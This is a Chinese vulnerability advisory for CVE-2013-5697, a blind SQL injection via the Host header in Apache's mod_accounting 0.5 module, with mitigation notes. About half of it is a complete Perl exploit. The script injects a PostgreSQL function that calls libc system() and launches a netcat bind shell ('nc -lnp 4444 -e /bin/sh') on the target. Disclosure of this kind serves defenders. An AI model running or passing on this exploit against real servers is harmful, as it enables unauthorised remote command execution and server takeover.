Apache 'mod_accounting'模块SQL注入漏洞(CVE-2013-5697)

漏洞版本:

mod_accounting 0.5

漏洞描述:

BUGTRAQ  ID: 62677
CVE ID: CVE-2013-5697

mod_accounting是Apache 1.3.x上的流量计费模块，该模块使用数据记录流量，支持的数据库类型包括MySQL及PostgreSQL。

mod_accounting 0.5模块在Host报文头中存在SQL注入漏洞，攻击者可利用此漏洞破坏应用，执行未授权数据库操作。该漏洞源于用户提供的HTTP报文头未经过滤即用在查询内。该模块使用了简单的字符串串联来修改已定义查询内的占位符，然后再发送到数据库内。该代码位于mod_accounting.c内。

<* 参考

http://packetstormsecurity.com/files/123408/mod_accounting-0.5-Blind-SQL-Injection.html
http://sebug.net/appdir/Apache

*>

测试方法:

提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

1. #!/usr/bin/perl
2. # PoC of blind SQL injection in the mod_accounting/0.5 Apache module
3. # Injection can occur via the Host header
4. # As the injection occurs in a user defined insert statement a bit of trial
5. and error is required
6. # Database operations occurs asyncronous to page response so timing attacks
7. wont work
8. # This one is completely blind
9. # DB can be mysql or postgres, this PoC only covers postgres
10. # PoC executes netcat to listen on port 4444 (requires dba privileges)
11. use IO::Socket::INET;
12. print"#----------------------------------------------#\n";
13. print"| mod_accounting/0.5 PoC exploit by \ () Wireghoul |\n";
14. print"| www.justanotherhacker.com |\n";
15. print"#----------Command execution via SQLi----------#\n";
16. print"[*] Enumerating blind injection vectors:\n";
17. my@endings=("'));",'"));',"));","');",'");',");","';",'";',";");
18. # These should terminate most insert statements
19. #my @endings = ( "');" );
20. my $shell ='nc -lnp 4444 -e /bin/sh';
21. my $cnt =0;
22. my $content ="CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS
23. '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; SELECT system('$shell');";
24. foreach $end (@endings){
25. $cnt++;
26. my $sock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]")ordie"Unable to
27. connect to $ARGV[0]:$ARGV[1]: $!\n";
28. my $str ="GET / HTTP/1.1\r\nHost: $ARGV[0]$cnt$end $content --
29. \r\n\r\n";# from mysql.user into outfile '/tmp/pocpoc$cnt.txt'; --
30. \r\n\r\n";
31. print "[-]Trying $end\n";
32. print $sock $str;
33. #print "Sent $end\n";
34. close ($sock);
35. }
36. print "[*]Done, remote server should have executed $shell\n";

Sebug安全建议:

临时解决方法：

该模块已经不再提供支持，可以根据需要，停止使用该模块。

厂商补丁：

mod_accounting
--------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://sourceforge.net/projects/mod-acct/files/